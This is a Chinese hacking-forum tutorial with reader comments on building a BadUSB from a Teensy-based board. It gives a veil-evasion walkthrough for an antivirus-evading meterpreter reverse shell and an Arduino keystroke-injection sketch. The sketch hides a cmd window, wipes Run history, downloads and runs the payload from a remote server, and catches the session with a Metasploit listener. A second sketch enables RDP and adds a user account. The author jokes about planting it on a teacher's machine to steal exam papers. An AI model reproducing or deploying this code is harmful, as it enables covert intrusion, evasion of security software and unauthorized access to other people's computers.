利用烧鹅制作简单BadUSB,插谁谁怀孕

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 14:12

所用硬件设备为烧鹅,烧鹅是RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的USB Rubber Ducky类开发板。

使用veil编码meterpreter生成payload(经过编码的payload在杀软中仅能够存活几分钟),放到服务器上。插入烧鹅,模拟键盘输入,在cmd中下载payload,并执行。

0x1 利用veil编码打造免杀的meterpreter

root@kali:~# veil-evasion //启动veil

[>] Please enter a command: list //查看可选列表

26) python/meterpreter/rev_tcp

利用烧鹅制作简单BadUSB,插谁谁怀孕

[>] Please enter a command: 26 //这里选择编号为26的payload

[>] Please enter a command: set LHOST 192.168.31.233 //设置LHOST

利用烧鹅制作简单BadUSB,插谁谁怀孕

[>] Please enter a command: generate //对payload进行编码

[*] Press [enter] for 'payload'

[>] Please enter the base name for output files: a //输入生成的payload名字

[>] Please enter the number of your choice: 1 //选择编码方式

利用烧鹅制作简单BadUSB,插谁谁怀孕

[*] Executable written to: /root/veil-output/compiled/a1.exe //生成经过编码的payload位置

0x2 将执行代码写入badusb中

使用Arduino IDE 写入,其中下载使用的是PowerShell,如果使用vbs那种方法,360会报警.

利用烧鹅制作简单BadUSB,插谁谁怀孕

void setup() { //初始化,这里的代码只执行一次
    delay(5000); //设置延时,让系统有足够的时间识别烧鹅,防止后续代码执行错乱。
    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); // 按下Win键
    Keyboard.set_key1(KEY_R); // 同时按下R键
    Keyboard.send_now(); // 发送Win+R
    delay(100);
    Keyboard.print("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
    //开启极小的CMD窗口,设置文字和背景对比度尽可能相近,达到隐藏输入的目的
    Keyboard.set_key1(KEY_ENTER);
    Keyboard.send_now();
    delay(300);
    Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //利用注册表清除开始--运行的记录
    Keyboard.set_key1(KEY_ENTER);
    Keyboard.send_now();
    Keyboard.println("powershell (new- object System.Net.WebClient).DownloadFile('http://192.168.1.100 /a1.exe','D:\\1.exe')"); //下载远程的payload
    Keyboard.set_key1(KEY_ENTER);
    Keyboard.send_now();
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(3000); //设置延迟,等待下载完成
    Keyboard.println("d:\\1.exe"); //执行打开命令
    Keyboard.set_key1(KEY_ENTER);
    delay(300);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.set_modifier(MODIFIERKEY_ALT);
    Keyboard.set_key1(KEY_SPACE);
    Keyboard.set_key2(KEY_C);
    Keyboard.send_now();
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.set_key2(0);
    Keyboard.send_now(); //关闭cmd窗口
}
void loop() //循环,这里的代码无限循环
{
}

0x3 等待目标连接

msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4444 E //开始监听,等待连接

利用烧鹅制作简单BadUSB,插谁谁怀孕

将USB插入目标机器,执行相关命令

目标机器上线

利用烧鹅制作简单BadUSB,插谁谁怀孕

PS:玩法还有很多,还可以开启目标机器3389,新建用户等等,快要期末考试了,不要拦着我,我要去插下老师的机器......

[原文地址]

相关内容:

利用烧鹅制作简单BadUSB,插谁谁怀孕

廉价Arduino山寨板制作teensy

各种吐槽:

1#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 14:15

对于win7开启3389,并加帐户,使用

void setup() { //初始化,这里的代码只执行一次
    delay(5000); //设置延时,让系统有足够的时间识别烧鹅,防止后续代码执行错乱。
    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); // 按下Win键
    Keyboard.set_key1(KEY_R); // 同时按下R键
    Keyboard.send_now(); // 发送Win+R
    delay(100);
    Keyboard.print("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
    //开启极小的CMD窗口,设置文字和背景对比度尽可能相近,达到隐藏输入的目的
    Keyboard.set_key1(KEY_ENTER);
    Keyboard.send_now();
    delay(300);
    Keyboard.println("REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"); //开启3389
    Keyboard.set_key1(KEY_ENTER);
    Keyboard.send_now();
    Keyboard.println("net user 123 123 /add"); //添加帐户
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(500);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.set_modifier(MODIFIERKEY_ALT);
    Keyboard.set_key1(KEY_SPACE);
    Keyboard.set_key2(KEY_C);
    Keyboard.send_now();
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.set_key2(0);
    Keyboard.send_now(); //关闭cmd
}
void loop() //循环,这里的代码无限循环
{
}

在学校中利用3389比meterpreter更加好用。开启3389,杀软不会提示。添加帐户,360会提示,电脑管家不会提示。

2#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 14:18

对于执行修改dns等一些需要输入中文的地方,就比较麻烦了,暂时还没想到好的方法,只想到模拟键盘输入 Shift + Ctrl开启输入法....利用条件比较苛刻

3#

高斯 | 2015-05-25 14:20

参考 大黄鸭

4#

YangCL | 2015-05-25 14:22

@海绵宝宝 学校电脑裸奔的。

5#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 14:24

@YangCL 裸奔的,插进去,拔出来,get shijuan.

6#

海边风 | 2015-05-25 14:40

说好的录视频呢

7#

千斤拨四两 | 2015-05-25 14:52

@海绵宝宝 去试试老段的,你考试就过了,- -!

8#

人丑嘴不甜 | 2015-05-25 15:03

别拦我,我要给猴粑粑生猴子

9#

L·Lawliet | 2015-05-25 15:06

已经向网络中心举报@网络中心主任,遇到此猴,请迅速转移服务器

10#

jeary ((:‮?办么怎,了多越来越法方象抽的我)) | 2015-05-25 15:08

@海绵宝宝 电脑中文输入法状态下,攻击payload无法执行 满屏代码..

11#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 15:17

@jeary 在当前输入法是qq拼音的情况下,测试的是,在发送win+R后,之后进行的操作都会默认是英文模式,包括在运行窗口输入cmd和在cmd中输入命令,即使开启了qq拼音的情况下, 输入的依然是英文。

如果因为环境问题,输入的不是英文,那么可以在每输入一个单词之后发送Shift,目前很多输入法在中文输入模式下,发送Shift,是选择英文.

12#

漂流瓶 (http://shota.cc/‮) | 2015-05-25 15:18

相当于模拟键盘么

13#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 15:21

@漂流瓶 嗯,模拟键盘输入

14#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 15:21

@千斤拨四两 @段老师

15#

whirlwind (不好好写代码的黑客不是好黑客,风要有创意的敲代码!) | 2015-05-25 16:02

有驱动级的么

16#

lnterface | 2015-05-25 16:36

烧鹅在哪买,楼主来一只

17#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 16:42

@lnterface 私信你了

18#

生鲜一手 (重剑无锋,大巧不工) | 2015-05-25 17:22

@海绵宝宝 同问。。

19#

Ocean | 2015-05-25 17:29

同求在哪里买

20#

B1n4ry (苦逼的生存着。。。) | 2015-05-25 17:41

更多玩法,参阅 wiki.radiowar.org !

21#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 17:53

@Ocean @生鲜一手 已私信

22#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 17:53

@B1n4ry 很多新玩法,棒棒哒

23#

prolog (事了拂衣去,不收一分钱) | 2015-05-25 17:58

几百块。。烧钱

24#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 18:01

@prolog 看个人情况,我是比较需要这个 :)

25#

小菜虫 | 2015-05-25 18:26

同求在哪里买

26#

小菜虫 | 2015-05-25 18:28

@高斯 国内哪有卖啊

27#

her0ma | 2015-05-25 18:42

想知道硬件从被攻击电脑拔掉之后,获取的权限还会在吗?

28#

B1n4ry (苦逼的生存着。。。) | 2015-05-25 18:53

@her0ma 会的,执行完了,就可以扯掉走人了!

29#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-25 18:55

@her0ma 会在的,我是把meterpreter直接下载到他的电脑上了。不过要不了几分钟,杀软就报了。T_T

30#

Anymous (专注于廉价迷你方便快捷的解决方案ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้) | 2015-05-25 19:11

仍然倾向arduino micro。

31#

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-05-25 19:34

插入的手法好风骚

32#

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-05-25 19:35

@Anymous 赞ATmega32u4芯

33#

class (我只会xxoo) | 2015-05-25 19:44

手法好风骚,插入时,先摩擦摩擦,学习了。

34#

刘海哥 (‮moc.ghuil.www) | 2015-05-25 21:56

手法好风骚,插入时,先摩擦摩擦,学习了。

35#感谢(1)

pikachu | 2015-05-25 23:36

马上大家都去买烧鹅了

36#

一只猿 (我是猴子派来的彩笔) | 2015-05-25 23:41

arduino pro mini 和 arduino micro ,呼呼,送妹子一个键盘

37#

Hxai11 (求工作) | 2015-05-26 09:18

马克。

38#

jeary ((:‮?办么怎,了多越来越法方象抽的我)) | 2015-05-26 09:21

烧鹅太贵,买不起,还是U盘比较便宜35-50就能买一个

http://zone.wooyun.org/content/20001

39#

海盗湾V | 2015-05-26 09:58

同求在哪里买

40#

S0cial | 2015-05-26 10:46

要剁手了...

41#

xsser (十根阳具有长短!!) | 2015-05-26 11:20

@乌云集市

42#

小牛牛 | 2015-05-26 11:26

我也要,我要去插学校充饭卡的

43#

saviour (Saviour.Com.Cn 正在备案中~~~) | 2015-05-26 11:45

你这个弱爆了 都不这么搞了

44#

B1n4ry (苦逼的生存着。。。) | 2015-05-26 15:21

@xsser 集市上什么时候上了? 为何我不知啊?

45#感谢(1)

B1n4ry (苦逼的生存着。。。) | 2015-05-26 15:26

@saviour 一般都是这么搞的 ?

46#

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-05-26 15:45

@B1n4ry @saviour 直接读取SD存储中的木马?

47#

B1n4ry (苦逼的生存着。。。) | 2015-05-26 16:07

@疯狗 http://www.freebuf.com/tools/68265.html

48#

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-05-26 16:28

@B1n4ry 嗯 好奇现在是有啥新玩法

49#

CplusHua | 2015-05-26 17:00

win8下如果用户启用的是win8自带输入法有办法能够盲关闭吗?

50#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-26 17:01

@CplusHua win8下你自己怎么关闭,就模拟键盘输入关闭

51#

白 | 2015-05-26 17:05

求购买地址 谢谢

52#

CplusHua | 2015-05-26 17:06

@海绵宝宝 敲一下ctrl+space切换中英文 再+shift就得到永英文了. (因为shift在输入法关闭的时候按一下没用),但是这个问题在win8自带的系统输入法里就不同了......有能够绕过的童鞋嘛?

53#

CplusHua | 2015-05-26 17:07

@CplusHua 关闭不了........(首先你不知道他是开的还是关的...)

54#

白 | 2015-05-26 17:24

@海绵宝宝 问下 普通的U盘也能用这个写入么???

55#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-26 17:28

@白 参考这个http://zone.wooyun.org/content/20001

56#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-26 17:29

@CplusHua 这个就很蛋疼了,如果提前知道的话,还有办法解决,不知道的话,暂时还没想到好的方法解决

57#

CplusHua | 2015-05-26 17:41

@海绵宝宝 就win8难解决 ,其他都可以 :敲一下ctrl+space切换中英文 再+shift就得到永英文了. 另外,有人根据键盘灯来做的,就是根据键盘灯的亮与不亮作为控制信号的反馈,具体不知道如何实现的.

58#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-26 17:44

@CplusHua 在实际应用中确实还有很多问题需要解决

59#

90Snake | 2015-05-26 22:23

@xsser @乌云集市

60#

Airbasic (ส็็็็็็็็็็็็็็็็็็็็็็็็) | 2015-05-27 11:46

看视频感觉你的键盘要被按坏了

61#

周文王 (乾道大哉,而至正) | 2015-05-27 14:02

这个好玩

62#

Wooyun第一大屌 | 2015-05-27 18:46

@海绵宝宝 我擦,你们没有考虑过360添加帐号的时候会警告?

63#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-28 09:50

@Wooyun第一大屌 我上面已经说了啊,添加账户360会提示。不过貌似已经有人找到过验证的方法了。

64#

Wooyun第一大屌 | 2015-05-28 09:51

@Wooyun第一大屌 sorry,眼瞎没看清楚, 每个人的电脑装的杀软都是不一样,有些是国外的, 所以局限性还是有的。 就因为不免杀。

65#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-28 09:58

@Wooyun第一大屌 这个就是马的问题了,跟这个硬件没关系 (≖ ‿ ≖)✧

66#

admin | 2015-05-28 15:19

执行下载的时候 报错 “new- : 无法将“new-”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查

名称的拼写,如果包括路径,请确保路径正确,然后再试一次。” 怎么破?@海绵宝宝

67#

admin | 2015-05-28 15:34

对付中文输入法的!好简单的问题,开启大写模式!

Keyboard.set_key1(KEY_CAPS_LOCK);

Keyboard.send_now();

68#

海绵宝宝 (剑未配好,出门已是江湖) | 2015-05-28 16:43

@admin new-object 中间没有空格

69#

裙下的秘密 | 2015-05-28 16:54

@海绵宝宝 求个购买地址,买一个玩下,私信你啦-。-

70#

酱油甲 | 2015-05-29 10:42

看起来很流弊的样子~

留言评论(旧系统):

佚名 @ 2015-05-30 19:52:34

对于学生来说成本有点高了,烧鹅要400-500,,核大哥有低成本制作badusb方案吗

本站回复:

廉价Arduino山寨板制作teensy:http://lcx.cc/?i=4482

佚名 @ 2015-06-11 10:36:41

核叔,请修改下友情链接。 氪星人:http://defcon.cn

本站回复:

已更新!

N.A.T @ 2015-07-21 03:24:37

为什么不把中文存在记事本里 然后下载下来读取再输入?

本站回复:

-_-!!!